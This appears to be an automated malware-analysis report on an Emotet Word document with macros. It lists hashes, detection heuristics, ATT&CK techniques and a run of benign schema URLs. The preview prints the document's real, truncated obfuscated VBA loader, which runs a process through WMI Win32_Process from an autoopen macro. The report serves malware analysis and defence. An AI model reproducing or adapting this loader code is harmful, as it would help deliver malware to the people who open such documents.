Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 7acfad68bd1636e2…

MALICIOUS

Office (OOXML)

141.1 KB Created: 2019-09-17 10:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-12-09
MD5: 476ef2650bc86d3dac6dca1bc8296f43 SHA-1: ae341559759be3f3afe2be5895cea3ffdaa979f4 SHA-256: 7acfad68bd1636e23b5fcf7fa948f37fe6b55aa65e50227a7383e48773817e66
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical heuristic firing for an obfuscated auto-exec VBA loader, specifically identified by ClamAV as Doc.Downloader.Emotet-7168159-0. The presence of an AutoOpen macro and CreateObject calls further indicates malicious intent. The VBA script is designed to download and execute a second-stage payload, a common characteristic of Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7168159-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7168159-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6360 bytes
SHA-256: fcef02c305da7a2bf7f67cfd276560825723633984aaffe56c180a4c89cdb42c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "O7SZP3, 0, 0, MSForms, OptionButton"
Attribute VB_Control = "MLRQGUV, 1, 1, MSForms, OptionButton"
Attribute VB_Control = "Pr3B0Nl, 2, 2, MSForms, OptionButton"
Attribute VB_Control = "YYEDwiqh, 3, 3, MSForms, OptionButton"
Attribute VB_Control = "CMl8qJ_, 4, 4, MSForms, OptionButton"
Attribute VB_Control = "DTztHB9, 5, 5, MSForms, OptionButton"
Attribute VB_Control = "WboltJ, 6, 6, MSForms, OptionButton"
Attribute VB_Control = "mRzHXp, 7, 7, MSForms, OptionButton"
Attribute VB_Control = "i38hUokk, 8, 8, MSForms, OptionButton"
Attribute VB_Control = "p70UCHT, 9, 9, MSForms, OptionButton"
Attribute VB_Control = "E09BBbXL, 10, 10, MSForms, OptionButton"
Attribute VB_Control = "XCEzFp, 11, 11, MSForms, OptionButton"

Attribute VB_Name = "VzKCzuj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VPpzPJ"

Attribute VB_Name = "Bhr3M0"

Attribute VB_Name = "VBEJ_P"

Attribute VB_Name = "kuiZFCa3"

Attribute VB_Name = "jc3jjtN"

Attribute VB_Name = "dO801VhO"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i_B8MW"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tKizdNG"
Function dCuqY0()
      On Error Resume Next
   For Each HTn9QNXP In UGXDEE
      For Each GBc3FO In hnccPK
          NljriP = (mAawwYH - Chr(LfEYRO - ChrW(291466432) - 1499 + Hkuwm7O) * odjPv4 * Sqr(GFzrUPjT) * 5964 / 4035)
     Next
      Do
   inz_XJ = 7 / 311 - (1987 / Cos(i4tIELX) - 29 + 232)
   Loop Until hmCcnqd Eqv izzUOi
   Next
   Set dwYwGWCa = L_AnUtp
jw7VGoKo = RzR3Lmi9 + ThisDocument.i38hUokk.Caption + ThisDocument.E09BBbXL.Caption + ThisDocument.DTztHB9.Caption + JE0fuA0
      On Error Resume Next
   For Each hwEqGn4 In QcZ1EzJ
      For Each YUJiSR3 In ok1_VJz6
          OzKzcQih = (z7WBr01X - Chr(qzwrG2z - ChrW(291466432) - 1499 + NAKzKi) * brNuu9 * Sqr(rOwTWUcv) * 5964 / 4035)
     Next
      Do
   Y0drmc = 7 / 311 - (1987 / Cos(h_zJMiw) - 29 + 232)
   Loop Until j7zE3f Eqv jB_v7j
   Next
   Set zE511E = QTTLrCT
      On Error Resume Next
   For Each RDTN3Zt In qnwSU8f
      For Each bzCI8S In nw4PVo7J
          F3ipmfC = (zjf8GE - Chr(rYNHBdG - ChrW(291466432) - 1499 + tVi_4Jzi) * a3NiFKCv * Sqr(szL1BF) * 5964 / 4035)
     Next
      Do
   PFZcArn = 7 / 311 - (1987 / Cos(NHXtZs) - 29 + 232)
   Loop Until nn2H80 Eqv UEFKp0zY
   Next
   Set QfD2h6 = nn3hbEBz

i7t1CFB = CreateObject(Replace("@@@wi@@nm@@@@@@g@mt@@@@@s:Win@@@@32_Proc@@@@@es@@@@s", "@", "")).Create(jw7VGoKo + TM5paaj, q9kaCs, iqr6Tf, HRzs7MnC)
      On Error Resume Next
   For Each wiQ5klw In TzlAfCQ
      For Each YqLi23uw In SUw8W9j
          QP4d63f = (PYOBjfar - Chr(hZJziKo - ChrW(291466432) - 1499 + tPC_Sn2) * KQrWc2f * Sqr(RzShpwF) * 5964 / 4035)
     Next
      Do
   IdYSRq = 7 / 311 - (1987 / Cos(hPZ7Yp5) - 29 + 232)
   Loop Until vuR8SRz Eqv SSVkR6
   Next
   Set jIL5_Ab = NSb7KY
End Function


Attribute VB_Name = "f0PwKIHk"
Sub autoopen()
      On Error Resume Next
   For Each D00DGAn4 In zHdA2Tb
      For Each habXb6O In qUilRq
          T98zWjmJ = (SalKrIDQ - Chr(fhI4omE - Ch
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: ebc7f392a2afe058db5277cb24919258c3dc576be4364e4763b1c12bd77d00d9
Detection
ClamAV: Doc.Downloader.Emotet-7168159-0
Obfuscation or payload: unlikely